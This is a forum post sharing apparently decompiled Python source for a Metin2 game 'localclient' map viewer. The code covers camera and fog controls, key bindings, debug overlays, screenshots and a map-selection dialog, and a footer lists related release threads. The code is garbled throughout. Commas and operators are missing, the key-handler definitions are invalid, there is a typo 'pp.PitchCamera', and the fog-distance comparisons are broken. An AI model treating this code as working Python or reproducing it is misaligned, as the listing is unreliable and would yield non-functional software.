wndChat.SetPosition(wndMgr.GetScreenWidth() / CHAT_WINDOW_WIDTH 2wndMgr.GetScreenHeight() - wndChat.GetHeight())
        
wndChat.SetHeight(200)
        
wndChat.Refresh()
        
wndChat.Show()
        
self.wndChat wndChat
        self
.wndChat.BindInterface(self)

    
    
def MapBoard(self):
        
MSelect MapSelectDialog()
        
MSelect.Show()

    
    
def MinimapScreen(self):
        
self.Information[str(0)].Hide()
        
self.Information[str(1)].Hide()
        
self.Information[str(2)].Hide()
        
self.Information[str(3)].Hide()
        
self.Information[str(4)].Hide()
        
self.Information[str(5)].Hide()
        
self.Information[str(6)].Hide()
        
self.Information[str(7)].Hide()
        
self.Information[str(8)].Hide()
        
self.Information[str(9)].Hide()
        
self.Information[str(10)].Hide()
        
self.Information[str(11)].Hide()
        
self.Information[str(12)].Hide()
        
self.Information[str(13)].Hide()
        
self.Information[str(14)].Hide()
        
self.Information[str(15)].Hide()
        
self.Information[str(16)].Hide()
        
self.Information[str(17)].Hide()
        
self.UserInfo.Hide()
        
self.Button3.Hide()

    
    
def MinimapScreenEnd(self):
        (
succeededname) = grp.SaveScreenShotToPath(os.getcwd() + os.sep str(ScreenshotDirectory) + os.sep)
        if 
succeeded:
            
chat.AppendChat(chat.CHAT_TYPE_INFO'Minimap Aufnahme erfolgreich.')
        else:
            
chat.AppendChat(chat.CHAT_TYPE_INFO'Minimap Aufnahme gescheitert.')
        
self.Information[str(0)].Show()
        
self.Information[str(1)].Show()
        
self.Information[str(2)].Show()
        
self.Information[str(3)].Show()
        
self.Information[str(4)].Show()
        
self.Information[str(5)].Show()
        
self.Information[str(6)].Show()
        
self.Information[str(7)].Show()
        
self.Information[str(8)].Show()
        
self.Information[str(9)].Show()
        
self.Information[str(10)].Show()
        
self.Information[str(11)].Show()
        
self.Information[str(12)].Show()
        
self.Information[str(13)].Show()
        
self.Information[str(14)].Show()
        
self.Information[str(15)].Show()
        
self.Information[str(16)].Show()
        
self.Information[str(17)].Show()
        
self.UserInfo.Show()
        
self.Button3.Show()

    
    
def _LocaleWindow__OnKlickLoader(self):
        
import loader
        self
.loaderKori loader.PYDLL()
        
self.loaderKori.Show()

    
    
def ToggleFog(self):
        if 
app.IsPressed(app.DIK_LCONTROL):
            if 
self.caminfionoff == 0:
                
self.caminfionoff 1
                self
.cammaxdistance 1000000
            
else:
                
self.caminfionoff 0
                self
.cammaxdistance 1000
        elif app
.IsPressed(app.DIK_RCONTROL):
            if 
self.cammspeedonoff == 0:
                
self.cammspeedonoff 1
                self
.camspeed 1000
            
else:
                
self.cammspeedonoff 0
                self
.camspeed 100
        elif self
.fogonoff == 0:
            
self.fogonoff 1
        
else:
            
self.fogonoff 0

    
    def EgoPerspektive
(self):
        if 
self.egopersp == 0:
            
self.egopersp 1
            chr
.Hide()
            
self.cammaxdistance 1
        
else:
            
self.egopersp 0
            chr
.Show()
            
self.cammaxdistance 1000

    
    def CamMDDown
(self):
        if 
self.cammaxdistance >= 1000:
            
self.cammaxdistance int(self.cammaxdistance) - 250
        

    
    def CamMDUp
(self):
        if 
self.cammaxdistance <= 29750:
            
self.cammaxdistance int(self.cammaxdistance) + 250
        

    
    def CamSpeedDown
(self):
        if 
self.camspeed >= 50:
            
self.camspeed int(self.camspeed) - 25
        

    
    def CamSpeedUp
(self):
        if 
self.camspeed <= 975:
            
self.camspeed int(self.camspeed) + 25
        

    
    def ToggleCharImage
(self):
        if 
self.playershstatus == 0:
            if 
self.egopersp == 0:
                
chr.Show()
            else:
                
chr.Hide()
            
app.ShowCursor()
            
self.playershstatus 1
        
else:
            
chr.Hide()
            
app.HideCursor()
            
self.playershstatus 0

    
    def _LocaleWindow__BuildKeyDict
(self):
        
onPressKeyDict = { }
        
        
def onPressKeyDict[app.DIK_SYSRQ]():
            return 
self.SaveScreen()

        
        
def onPressKeyDict[app.DIK_UP]():
            return 
self.MoveUp()

        
        
def onPressKeyDict[app.DIK_DOWN]():
            return 
self.MoveDown()

        
        
def onPressKeyDict[app.DIK_LEFT]():
            return 
self.MoveLeft()

        
        
def onPressKeyDict[app.DIK_RIGHT]():
            return 
self.MoveRight()

        
        
def onPressKeyDict[app.DIK_W]():
            return 
self.MoveUp()

        
        
def onPressKeyDict[app.DIK_S]():
            return 
self.MoveDown()

        
        
def onPressKeyDict[app.DIK_A]():
            return 
self.MoveLeft()

        
        
def onPressKeyDict[app.DIK_D]():
            return 
self.MoveRight()

        
        
def onPressKeyDict[app.DIK_F1]():
            return 
self.CamSpeedDown()

        
        
def onPressKeyDict[app.DIK_F2]():
            return 
self.CamSpeedUp()

        
        
def onPressKeyDict[app.DIK_F3]():
            return 
self.CamMDDown()

        
        
def onPressKeyDict[app.DIK_F4]():
            return 
self.CamMDUp()

        
        
def onPressKeyDict[app.DIK_F5]():
            return 
self.ToggleCharImage()

        
        
def onPressKeyDict[app.DIK_F8]():
            return 
self.EgoPerspektive()

        
        
def onPressKeyDict[app.DIK_F9]():
            return 
self.ToggleFog()

        
        
def onPressKeyDict[app.DIK_F11]():
            return 
self.MapBoard()

        
        
def onPressKeyDict[app.DIK_SPACE]():
            return 
self.ToggleChat()

        
        
def onPressKeyDict[app.DIK_M]():
            return 
self.MinimapScreen()

        
        
def onPressKeyDict[app.DIK_E]():
            return 
app.RotateCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_R]():
            return 
app.ZoomCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_F]():
            return 
app.ZoomCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_T]():
            return 
app.PitchCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_G]():
            return 
app.PitchCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_Q]():
            return 
app.RotateCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_NUMPAD9]():
            return 
app.MovieResetCamera()

        
        
def onPressKeyDict[app.DIK_NUMPAD4]():
            return 
app.MovieRotateCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_NUMPAD6]():
            return 
app.MovieRotateCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_PGUP]():
            return 
app.MovieZoomCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_PGDN]():
            return 
app.MovieZoomCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_NUMPAD8]():
            return 
app.MoviePitchCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_NUMPAD2]():
            return 
app.MoviePitchCamera(app.CAMERA_TO_POSITIVE)

        
self.onPressKeyDict onPressKeyDict
        onClickKeyDict 
= { }
        
        
def onClickKeyDict[app.DIK_UP]():
            return 
self.StopUp()

        
        
def onClickKeyDict[app.DIK_DOWN]():
            return 
self.StopDown()

        
        
def onClickKeyDict[app.DIK_LEFT]():
            return 
self.StopLeft()

        
        
def onClickKeyDict[app.DIK_RIGHT]():
            return 
self.StopRight()

        
        
def onClickKeyDict[app.DIK_M]():
            return 
self.MinimapScreenEnd()

        
        
def onClickKeyDict[app.DIK_W]():
            return 
self.StopUp()

        
        
def onClickKeyDict[app.DIK_S]():
            return 
self.StopDown()

        
        
def onClickKeyDict[app.DIK_A]():
            return 
self.StopLeft()

        
        
def onClickKeyDict[app.DIK_D]():
            return 
self.StopRight()

        
        
def onClickKeyDict[app.DIK_Q]():
            return 
app.RotateCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_E]():
            return 
app.RotateCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_R]():
            return 
app.ZoomCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_F]():
            return 
app.ZoomCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_T]():
            return 
app.PitchCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_G]():
            return 
pp.PitchCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_NUMPAD4]():
            return 
app.MovieRotateCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_NUMPAD6]():
            return 
app.MovieRotateCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_PGUP]():
            return 
app.MovieZoomCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_PGDN]():
            return 
app.MovieZoomCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_NUMPAD8]():
            return 
app.MoviePitchCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_NUMPAD2]():
            return 
app.MoviePitchCamera(app.CAMERA_STOP)

        
self.onClickKeyDict onClickKeyDict

    
    def ToggleDebugInfo
(self):
        
self.isShowDebugInfo not (self.isShowDebugInfo)
        if 
self.isShowDebugInfo:
            
self.PrintCoord.Show()
            
self.FrameRate.Show()
            
self.Pitch.Show()
            
self.Splat.Show()
            
self.TextureNum.Show()
            
self.ObjectNum.Show()
            
self.ViewDistance.Show()
        else:
            
self.PrintCoord.Hide()
            
self.FrameRate.Show()
            
self.Pitch.Hide()
            
self.Splat.Hide()
            
self.TextureNum.Hide()
            
self.ObjectNum.Hide()
            
self.ViewDistance.Hide()

    
    
def _LocaleWindow__BuildDebugInfo(self):
        
self.PrintCoord ui.TextLine()
        
self.PrintCoord.SetFontName(localeInfo.UI_DEF_FONT)
        
self.PrintCoord.SetPosition(wndMgr.GetScreenWidth() - 2700)
        
self.FrameRate ui.TextLine()
        
self.FrameRate.SetFontName(localeInfo.UI_DEF_FONT)
        
self.FrameRate.SetPosition(wndMgr.GetScreenWidth() - 27020)
        
self.Pitch ui.TextLine()
        
self.Pitch.SetFontName(localeInfo.UI_DEF_FONT)
        
self.Pitch.SetPosition(wndMgr.GetScreenWidth() - 27040)
        
self.Splat ui.TextLine()
        
self.Splat.SetFontName(localeInfo.UI_DEF_FONT)
        
self.Splat.SetPosition(wndMgr.GetScreenWidth() - 27060)
        
self.TextureNum ui.TextLine()
        
self.TextureNum.SetFontName(localeInfo.UI_DEF_FONT)
        
self.TextureNum.SetPosition(wndMgr.GetScreenWidth() - 27080)
        
self.ObjectNum ui.TextLine()
        
self.ObjectNum.SetFontName(localeInfo.UI_DEF_FONT)
        
self.ObjectNum.SetPosition(wndMgr.GetScreenWidth() - 270100)
        
self.ViewDistance ui.TextLine()
        
self.ViewDistance.SetFontName(localeInfo.UI_DEF_FONT)
        
self.ViewDistance.SetPosition(00)

    
    
def _LocaleWindow__NotifyError(selfmsg):
        
chat.AppendChat(chat.CHAT_TYPE_INFOmsg)

    
    
def CheckFocus(self):
        if 
FALSE == self.IsFocus():
            if 
TRUE == self.IsOpenChat():
                
self.ToggleChat()
            
            
self.SetFocus()
        

    
    
def IsOpenChat(self):
        return 
self.wndChat.IsEditMode()

    
    
def ToggleChat(self):
        if 
TRUE == self.wndChat.IsEditMode():
            
self.wndChat.CloseChat()
        else:
            
self.wndChat.OpenChat()

    
    
def SaveScreen(self):
        (
succeededname) = grp.SaveScreenShotToPath(os.getcwd() + os.sep str(ScreenshotDirectory) + os.sep)
        if 
succeeded:
            
chat.AppendChat(chat.CHAT_TYPE_INFOname ' ' localeInfo.SCREENSHOT_SAVE1)
            
chat.AppendChat(chat.CHAT_TYPE_INFOlocaleInfo.SCREENSHOT_SAVE2)
        else:
            
chat.AppendChat(chat.CHAT_TYPE_INFOlocaleInfo.SCREENSHOT_SAVE_FAILURE)

    
    
def MoveUp(self):
        
player.SetSingleDIKKeyState(app.DIK_UPTRUE)

    
    
def MoveDown(self):
        
player.SetSingleDIKKeyState(app.DIK_DOWNTRUE)

    
    
def MoveLeft(self):
        
player.SetSingleDIKKeyState(app.DIK_LEFTTRUE)

    
    
def MoveRight(self):
        
player.SetSingleDIKKeyState(app.DIK_RIGHTTRUE)

    
    
def StopUp(self):
        
player.SetSingleDIKKeyState(app.DIK_UPFALSE)

    
    
def StopDown(self):
        
player.SetSingleDIKKeyState(app.DIK_DOWNFALSE)

    
    
def StopLeft(self):
        
player.SetSingleDIKKeyState(app.DIK_LEFTFALSE)

    
    
def StopRight(self):
        
player.SetSingleDIKKeyState(app.DIK_RIGHTFALSE)

    
    
def OnKeyDown(selfkey):
        
        try:
            
self.onPressKeyDict[key]()
        
except KeyError:
            
pass
        except
:
            
raise 

        
return TRUE

    
    def OnKeyUp
(selfkey):
        
        try:
            
self.onClickKeyDict[key]()
        
except KeyError:
            
pass
        except
:
            
raise 

        
return TRUE

    
    def OnMouseLeftButtonDown
(self):
        if 
self.wndGuildBuilding:
            if 
self.wndGuildBuilding.IsPositioningMode():
                
self.wndGuildBuilding.SettleCurrentPosition()
                return 
None
            
        
        player
.SetMouseState(player.MBT_LEFTplayer.MBS_PRESS)
        return 
TRUE

    
    def OnMouseLeftButtonUp
(self):
        if 
self.wndGuildBuilding:
            return 
None
        
        player
.SetMouseState(player.MBT_LEFTplayer.MBS_CLICK)
        return 
TRUE

    
    def OnMouseRightButtonDown
(self):
        
player.SetMouseState(player.MBT_RIGHTplayer.MBS_PRESS)
        return 
TRUE

    
    def OnMouseRightButtonUp
(self):
        
player.SetMouseState(player.MBT_RIGHTplayer.MBS_CLICK)
        return 
TRUE

    
    def OnMouseMiddleButtonDown
(self):
        
player.SetMouseMiddleButtonState(player.MBS_PRESS)

    
    
def OnMouseMiddleButtonUp(self):
        
player.SetMouseMiddleButtonState(player.MBS_CLICK)

    
    
def OnUpdate(self):
        
app.UpdateGame()
        if 
self.wndGuildBuilding:
            if 
self.wndGuildBuilding.IsPositioningMode():
                (
xyz) = background.GetPickingPoint()
                
self.wndGuildBuilding.SetBuildingPosition(xyz)
            
        
        
chrmgr.SetMovingSpeed(self.camspeed)
        
app.SetCameraMaxDistance(self.cammaxdistance)
        if 
self.cammaxdistance == 1:
            
app.SetMinFog(100)
        
elif self.cammaxdistance >= 1000:
            
app.SetMinFog(3600)
        
elif self.cammaxdistance >= 5000:
            
app.SetMinFog(12000)
        
elif self.cammaxdistance >= 10000:
            
app.SetMinFog(24000)
        
elif self.cammaxdistance >= 15000:
            
app.SetMinFog(48000)
        
elif self.cammaxdistance >= 20000:
            
app.SetMinFog(96000)
        
        if 
self.cammaxdistance == 1:
            
app.SetMinFog(100)
        
elif self.cammaxdistance 1000:
            
app.SetMinFog(1200)
        
elif self.cammaxdistance 5000:
            
app.SetMinFog(9600)
        
elif self.cammaxdistance 10000:
            
app.SetMinFog(12000)
        
elif self.cammaxdistance 15000:
            
app.SetMinFog(24000)
        
elif self.cammaxdistance 20000:
            
app.SetMinFog(48000)
        
        if 
self.fogonoff == 1:
            
app.SetMinFog(1000000000)
        

    
    
def UpdateDebugInfo(self):
        (
xyz) = player.GetMainCharacterPosition()
        
nUpdateTime app.GetUpdateTime()
        
nUpdateFPS app.GetUpdateFPS()
        
nRenderFPS app.GetRenderFPS()
        
nFaceCount app.GetFaceCount()
        
fFaceSpeed app.GetFaceSpeed()
        
nST background.GetRenderShadowTime()
        (
fAveRTnCurRT) = app.GetRenderTime()
        (
iNumfFogStartfFogEndfFarCilp) = background.GetDistanceSetInfo()
        (
iPatchiSplatfSplatRatiosTextureNum) = background.GetRenderedSplatNum()
        if 
iPatch == 0:
            
iPatch 1
        
        self
.PrintCoord.SetText('Coordinate: %.2f %.2f %.2f ATM: %d' % (xyz, (app.GetAvailableTextureMemory() / 1024) * 1024))
        
self.FrameRate.SetText('UFPS: %3d UT: %3d FS %.2f' % (nUpdateFPSnUpdateTimefFaceSpeed))
        if 
fAveRT 1.0:
            
self.Pitch.SetText('RFPS: %3d RT:%.2f(%3d) FC: %d(%.2f) ' % (nRenderFPSfAveRTnCurRTnFaceCountnFaceCount fAveRT))
        
        
self.Splat.SetText('PATCH: %d SPLAT: %d BAD(%.2f)' % (iPatchiSplatfSplatRatio))
        
self.ViewDistance.SetText('Num : %d, FS : %f, FE : %f, FC : %f' % (iNumfFogStartfFogEndfFarCilp))

    
    
def OnRender(self):
        
app.RenderGame()
        (
xy) = app.GetCursorPosition()
        
grp.PopState()
        
grp.SetInterfaceRenderState()

    
    
def OnPressEscapeKey(self):
        
app.Exit()

    
    
def _LocaleWindow__PlayMusic(selfflagfilename):
        
flag int(flag)
        if 
flag:
            
snd.FadeOutAllMusic()
            
musicInfo.SaveLastPlayFieldMusic()
            
snd.FadeInMusic('BGM/' filename)
        else:
            
snd.FadeOutAllMusic()
            
musicInfo.LoadLastPlayFieldMusic()
            
snd.FadeInMusic('BGM/' musicInfo.fieldMusic)



class 
MapSelectDialog(ui.Window):
    
    
def __init__(self):
        
ui.Window.__init__(self)
        
self.isLoaded 0
        self
.selectEvent None
        self
.fileListBox None
        self
.Board ui.BoardWithTitleBar()
        
self.Board.SetSize(240345)
        
self.Board.SetCenterPosition()
        
self.Board.AddFlag('movable')
        
self.Board.AddFlag('float')
        
self.Board.SetTitleName('Maplist')
        
self.Board.SetCloseEvent(self.Close)
        
self.Board.Show()

    
    
def __del__(self):
        
ui.Window.__del__(self)

    
    
def Show(self):
        if 
self.isLoaded == 0:
            
self.isLoaded 1
            self
._MapSelectDialog__Load()
        
        
ui.Window.Show(self)

    
    
def Open(self):
        
self.Show()
        
self.SetCenterPosition()
        
self.SetTop()
        
self.UpdateFileList()

    
    
def Close(self):
        
self.Board.Hide()
        
self.XCoordinateValue.KillFocus()
        
self.YCoordinateValue.KillFocus()
        
self.XCoordinateValue.Hide()
        
self.YCoordinateValue.Hide()

    
    
def _MapSelectDialog__CreateFileListBox(self):
        
fileListBox ui.ListBoxEx()
        
fileListBox.SetParent(self.Board)
        
fileListBox.SetSelectEvent(self.UpdateMapInfo)
        
fileListBox.SetPosition(1550)
        
fileListBox.Show()
        return 
fileListBox

    
    def _MapSelectDialog__Load
(self):
        
self._MapSelectDialog__Load_BindObject()
        
self.UpdateFileList()

    
    
def _MapSelectDialog__Load_BindObject(self):
        
self.fileListBox self._MapSelectDialog__CreateFileListBox()
        
self.LoadFuckingScrollBar()
        
self.LoadTextLines()
        
self.fileListBox.SetScrollBar(self.ScrollBar)
        
self.SelectMap ui.Button()
        
self.SelectMap.SetParent(self.Board)
        
self.SelectMap.SetPosition(55295)
        
self.SelectMap.SetUpVisual('d:/ymir work/ui/public/Middle_Button_01.sub')
        
self.SelectMap.SetOverVisual('d:/ymir work/ui/public/Middle_Button_02.sub')
        
self.SelectMap.SetDownVisual('d:/ymir work/ui/public/Middle_Button_03.sub')
        
self.SelectMap.SetText('OK')
        
self.SelectMap.SetEvent(ui.__mem_func__(self.LoadMap))
        
self.SelectMap.Show()
        
self.CancelBonus ui.Button()
        
self.CancelBonus.SetParent(self.Board)
        
self.CancelBonus.SetPosition(125295)
        
self.CancelBonus.SetUpVisual('d:/ymir work/ui/public/Middle_Button_01.sub')
        
self.CancelBonus.SetOverVisual('d:/ymir work/ui/public/Middle_Button_02.sub')
        
self.CancelBonus.SetDownVisual('d:/ymir work/ui/public/Middle_Button_03.sub')
        
self.CancelBonus.SetText('Abbrechen')
        
self.CancelBonus.SetEvent(ui.__mem_func__(self.Close))
        
self.CancelBonus.Show()
        
self.XCoordinateSlotBar ui.SlotBar()
        
self.XCoordinateSlotBar.SetParent(self.Board)
        
self.XCoordinateSlotBar.SetSize(8518)
        
self.XCoordinateSlotBar.SetPosition(15270)
        
self.XCoordinateSlotBar.Show()
        
self.XCoordinateValue ui.EditLine()
        
self.XCoordinateValue.SetParent(self.XCoordinateSlotBar)
        
self.XCoordinateValue.SetSize(6017)
        
self.XCoordinateValue.SetPosition(52)
        
self.XCoordinateValue.SetMax(4)
        
self.XCoordinateValue.SetText('0')
        
self.XCoordinateValue.SetNumberMode()
        
self.XCoordinateValue.Show()
        
self.YCoordinateSlotBar ui.SlotBar()
        
self.YCoordinateSlotBar.SetParent(self.Board)
        
self.YCoordinateSlotBar.SetSize(8518)
        
self.YCoordinateSlotBar.SetPosition(110270)
        
self.YCoordinateSlotBar.Show()
        
self.YCoordinateValue ui.EditLine()
        
self.YCoordinateValue.SetParent(self.YCoordinateSlotBar)
        
self.YCoordinateValue.SetSize(6017)
        
self.YCoordinateValue.SetPosition(52)
        
self.YCoordinateValue.SetMax(4)
        
self.YCoordinateValue.SetText('0')
        
self.YCoordinateValue.SetNumberMode()
        
self.YCoordinateValue.Show()

    
    
def LoadTextLines(self):
        
self.Headline ui.TextLine()
        
self.Headline.SetParent(self.Board)
        
self.Headline.SetDefaultFontName()
        
self.Headline.SetPosition(8029)
        
self.Headline.SetFeather()
        
self.Headline.SetText('W\xe4hle deine Map:')
        
self.Headline.SetFontColor(0.200000000000000010.200000000000000011.0)
        
self.Headline.SetOutline()
        
self.Headline.Show()
        
self.XKoordinate ui.TextLine()
        
self.XKoordinate.SetParent(self.Board)
        
self.XKoordinate.SetDefaultFontName()
        
self.XKoordinate.SetPosition(15250)
        
self.XKoordinate.SetFeather()
        
self.XKoordinate.SetText('X Koordinate:')
        
self.XKoordinate.SetFontColor(0.599999999999999980.699999999999999961)
        
self.XKoordinate.SetOutline()
        
self.XKoordinate.Show()
        
self.YKoordinate ui.TextLine()
        
self.YKoordinate.SetParent(self.Board)
        
self.YKoordinate.SetDefaultFontName()
        
self.YKoordinate.SetPosition(110250)
        
self.YKoordinate.SetFeather()
        
self.YKoordinate.SetText('Y Koordinate:')
        
self.YKoordinate.SetFontColor(0.599999999999999980.699999999999999961)
        
self.YKoordinate.SetOutline()
        
self.YKoordinate.Show()
        
self.Copyline ui.TextLine()
        
self.Copyline.SetParent(self.Board)
        
self.Copyline.SetDefaultFontName()
        
self.Copyline.SetPosition(120320)
        
self.Copyline.SetFeather()
        
self.Copyline.SetText('Thanks to RealFreak :>')
        
self.Copyline.SetFontColor(0.50.200000000000000010.5)
        
self.Copyline.SetOutline()
        
self.Copyline.Show()

    
    
def LoadFuckingScrollBar(self):
        
self.ScrollBar ui.ScrollBar()
        
self.ScrollBar.SetParent(self.Board)
        
self.ScrollBar.SetPosition(21040)
        
self.ScrollBar.SetScrollBarSize(220)
        
self.ScrollBar.Show()

    
    
def UpdateMapInfo(selfname):
        
SelectedIndex self.fileListBox.GetSelectedItem()
        
SelectedIndex SelectedIndex.GetText()
        
lines pack_open('atlasinfo.txt''r').readlines()
        for 
line in lines:
            
tokens line[:-1].split('\t')
            if 
str(SelectedIndex) == str(tokens[0]):
                
XKoordinate int(int(tokens[3]) * 25500 2) / 100
                YKoordinate 
int(int(tokens[4]) * 25500 2) / 100
                self
.XCoordinateValue.SetText(str(XKoordinate))
                
self.YCoordinateValue.SetText(str(YKoordinate))
            

    
    
def UpdateFileList(self):
        
self._MapSelectDialog__RefreshFileList()
        
        try:
            
lines pack_open('atlasinfo.txt''r').readlines()
        
except IOError:
            
import dbg
            dbg
.LogBox('Load Atlasinfo Error')
            
app.Abort()

        for 
line in lines:
            
tokens line[:-1].split('\t')
            if 
len(tokens) == or not tokens[0]:
                continue
            
            
mapname str(tokens[0])
            if 
mapname:
                
self.fileListBox.AppendItem(Item(mapname))
            

    
    
def _MapSelectDialog__RefreshFileList(self):
        
self.fileListBox.RemoveAllItems()

    
    
def LoadMap(self):
        
import background
        SelectedIndex 
self.fileListBox.GetSelectedItem()
        
SelectedIndex SelectedIndex.GetText()
        
XKoordinate int(self.XCoordinateValue.GetText()) * 100
        YKoordinate 
int(self.YCoordinateValue.GetText()) * 100
        background
.LoadMap(str(SelectedIndex), XKoordinateYKoordinate0)
        
chr.SetPixelPosition(int(XKoordinate), int(YKoordinate))


FILE_NAME_LEN 40

class Item(ui.ListBoxEx.Item):
    
    
def __init__(selffileName):
        
ui.ListBoxEx.Item.__init__(self)
        
self.canLoad 0
        self
.text fileName
        self
.textLine self._Item__CreateTextLine(fileName[:FILE_NAME_LEN])

    
    
def __del__(self):
        
ui.ListBoxEx.Item.__del__(self)

    
    
def GetText(self):
        return 
self.text

    
    def SetSize
(selfwidthheight):
        
ui.ListBoxEx.Item.SetSize(selflen(self.textLine.GetText()) + 4height)

    
    
def _Item__CreateTextLine(selffileName):
        
textLine ui.TextLine()
        
textLine.SetParent(self)
        
textLine.SetPosition(00)
        
textLine.SetText(fileName)
        
textLine.Show()
        return 
textLine 
*~*TeacheR*~* is offline  
Thanks
1 User
Reply

Tags
.kori, localclient, metin2section, sippel, theazon


Similar Threads Similar Threads
[Release] Source von Localclient/Object Editor,..
09/29/2013 - Metin2 PServer Guides & Strategies - 9 Replies
Kurze Vorgeschichte: Nachdem der Localclient von passy nub relativ viel genutzt wurde und er nach einigen obszönen Posts den Localclienten kurzerhand entfernt hat und auch das Webinterface deaktiviert hat wurden seine Dateien von manchen Personen decompiled und erneut hochgeladen wurden wider seinen Willen haben wir uns entschieden sie kurzerhand offiziell zu releasen. Das Passwort zu den .rar Archiven im Archiv ist "epvp" und enthält die kompilierten Dateien. Die original Dateien sind...
Suche Localclient - Searching localclient
09/27/2013 - Metin2 Private Server - 1 Replies
DEUTSCH: Hallo liebe Community, ich suche den Localclient von passy305. Es wäre sehr nett, wenn mir diesen jemand zukommen lassen könnte. Mit freundlichen Grüßen, DaJuBi ----------------------------------
[RELEASE]Localclient - IMV
06/25/2012 - Metin2 PServer Guides & Strategies - 248 Replies
Heute release ich euch mal etwas halbwegs brauchbares .. :awesome: Undzwar einen Localclienten bzw. einen Ingame-Map-Viewer. Der genaue Unterschied zwischen den beiden ist eigt. nur, das im Localclient noch ein Inventar, Level, Emotions etc. vorhanden ist, welches hier jedoch raußgenommen wurde :awesome: Da ein Bild mehr sagt als vieles andere: Erstmal ein Screen ..



All times are GMT +2. The time now is 14:10.


Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2024 elitepvpers All Rights Reserved.